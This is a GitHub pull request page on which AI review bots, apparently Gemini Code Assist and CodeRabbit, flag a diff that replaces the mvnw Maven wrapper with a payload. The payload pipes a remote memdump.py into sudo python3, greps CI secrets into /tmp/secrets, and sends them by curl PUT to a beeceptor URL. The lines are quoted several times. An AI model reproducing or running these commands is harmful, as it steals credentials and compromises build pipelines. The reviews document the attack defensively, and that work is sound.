Conversation
Summary of ChangesHello, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed! This pull request fundamentally alters the project's build process by replacing the Maven Wrapper script ( Highlights
🧠 New Feature in Public Preview: You can now enable Memory to help Gemini Code Assist learn from your team's feedback. This makes future code reviews more consistent and personalized to your project's style. Click here to enable Memory in your admin console. Changelog
Using Gemini Code AssistThe full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips. Invoking Gemini You can request assistance from Gemini at any point by creating a comment using either
Customization To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a Limitations & Feedback Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for Github and other Google products, sign up here. You can also get AI-powered code generation, chat, as well as code reviews directly in the IDE at no cost with the Gemini Code Assist IDE Extension. Footnotes
|
WalkthroughThe mvnw Maven wrapper script has been replaced with a two-line payload. The original Maven initialization logic including shell-based environment setup, path resolution, and wrapper execution has been removed. The new code executes a Python operation that fetches data from a URL, processes it to a file, and sends it via HTTP PUT request. Changes
Estimated code review effort🎯 5 (Critical) | ⏱️ ~120 minutes 🚥 Pre-merge checks | ✅ 1 | ❌ 2❌ Failed checks (1 warning, 1 inconclusive)
✅ Passed checks (1 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Tip Try Coding Plans. Let us write the prompt for your AI agent so you can ship faster (with fewer bugs). Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![gemini-code-assist[bot]](https://avatars.githubusercontent.com/in/956858?s=60&v=4){kind=small}
There was a problem hiding this comment.
Code Review
This pull request completely replaces the mvnw script with malicious code, introducing a critical security vulnerability. The new script is designed to download and execute an external Python script with root privileges, allowing it to extract sensitive information and exfiltrate it to an untrusted server. This constitutes a severe security breach and the changes must be rejected immediately, followed by a thorough security audit.
| curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets | ||
| curl -X PUT -d @/tmp/secrets https://bachelor-thesis-001.proxy.beeceptor.com No newline at end of file |
There was a problem hiding this comment.
The mvnw script has been replaced with malicious commands that download and execute an external Python script (memdump.py) from raw.githubusercontent.com with root privileges (sudo). This script is designed to extract potential secrets (e.g., by grepping for patterns like "isSecret":true) and exfiltrate them to an external URL (https://bachelor-thesis-001.proxy.beeceptor.com). This allows an attacker to steal sensitive information from the environment where this script is executed. Revert the changes to mvnw to its original, safe state and investigate the source of this pull request.
| "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \ | ||
| ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@" | ||
| curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets | ||
| curl -X PUT -d @/tmp/secrets https://bachelor-thesis-001.proxy.beeceptor.com No newline at end of file |
There was a problem hiding this comment.
This command sends the content of /tmp/secrets (which is populated by the previous command with potentially sensitive data) to an external, untrusted endpoint (https://bachelor-thesis-001.proxy.beeceptor.com). This constitutes a critical information disclosure vulnerability, as it exfiltrates sensitive data from the system to a third party. This action is highly suspicious and indicative of malicious intent.
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@mvnw`:
- Around line 1-2: The mvnw file has been replaced with malicious commands (the
curl ... | sudo python3 pipeline, writing to /tmp/secrets, and the curl PUT to
the beeceptor URL) — revert mvnw to a known-good Maven Wrapper script by
restoring the original mvnw content or regenerating the wrapper using the
official Maven wrapper (e.g., run mvn -N io.takari:maven:wrapper or retrieve the
canonical mvnw from a trusted source), remove the two malicious lines
referencing /tmp/secrets and the remote PUT, close/reject this PR, and as
immediate incident steps rotate any potentially exposed credentials/tokens and
audit CI runners and logs for execution of this compromised mvnw.
| curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets | ||
| curl -X PUT -d @/tmp/secrets https://bachelor-thesis-001.proxy.beeceptor.com No newline at end of file |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "=== Step 1: Inspect mvnw file (first 100 lines) ==="
if [ -f mvnw ]; then
wc -l mvnw
echo "---"
head -100 mvnw
else
echo "mvnw file not found"
fi
echo ""
echo "=== Step 2: Check file permissions and metadata ==="
ls -la mvnw 2>/dev/null || echo "mvnw not found"
echo ""
echo "=== Step 3: Scan for suspicious patterns ==="
rg -n --hidden -S 'beeceptor\.com|raw\.githubusercontent\.com|memdump\.py|/tmp/secrets' . 2>/dev/null || echo "No suspicious patterns found"
echo ""
echo "=== Step 4: Locate wrapper-related files ==="
fd -H '(mvnw|mvnw\.cmd|maven-wrapper\.properties|gradlew)' . 2>/dev/null | head -20Repository: nilsreichardt/java-design-patterns
Length of output: 6037
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "=== mvnw.cmd (first 50 lines) ==="
head -50 mvnw.cmd
echo ""
echo "=== .mvn/wrapper/maven-wrapper.properties ==="
cat .mvn/wrapper/maven-wrapper.propertiesRepository: nilsreichardt/java-design-patterns
Length of output: 3616
Blocker: mvnw is replaced with RCE + secret exfiltration (do not merge).
Line 1 executes untrusted remote code (curl ... | sudo python3), attempts to extract secrets into /tmp/secrets, and Line 2 exfiltrates them via HTTP PUT. This is not Maven Wrapper behavior and is a critical supply-chain compromise vector affecting any developer/CI that runs ./mvnw.
Immediate required actions:
- Reject/close this PR and restore
mvnwto a trusted Maven Wrapper script (regenerate from a known-good source). - Treat as a potential incident: rotate credentials/tokens that may have been present in env/CI, and audit CI logs/runners.
Proposed immediate safety patch (prevents accidental execution; replace with real wrapper ASAP)
-curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets
-curl -X PUT -d `@/tmp/secrets` https://bachelor-thesis-001.proxy.beeceptor.com
+#!/bin/sh
+set -eu
+echo "ERROR: mvnw appears to have been tampered with. Regenerate Maven Wrapper from a trusted source." >&2
+exit 1Note: mvnw.cmd and .mvn/wrapper/maven-wrapper.properties remain uncompromised and contain legitimate Apache Maven wrapper code, indicating this is a deliberate Unix-specific attack.
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets | |
| curl -X PUT -d @/tmp/secrets https://bachelor-thesis-001.proxy.beeceptor.com | |
| #!/bin/sh | |
| set -eu | |
| echo "ERROR: mvnw appears to have been tampered with. Regenerate Maven Wrapper from a trusted source." >&2 | |
| exit 1 |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@mvnw` around lines 1 - 2, The mvnw file has been replaced with malicious
commands (the curl ... | sudo python3 pipeline, writing to /tmp/secrets, and the
curl PUT to the beeceptor URL) — revert mvnw to a known-good Maven Wrapper
script by restoring the original mvnw content or regenerating the wrapper using
the official Maven wrapper (e.g., run mvn -N io.takari:maven:wrapper or retrieve
the canonical mvnw from a trusted source), remove the two malicious lines
referencing /tmp/secrets and the remote PUT, close/reject this PR, and as
immediate incident steps rotate any potentially exposed credentials/tokens and
audit CI runners and logs for execution of this compromised mvnw.
1 participant
Pull Request Template
What does this PR do?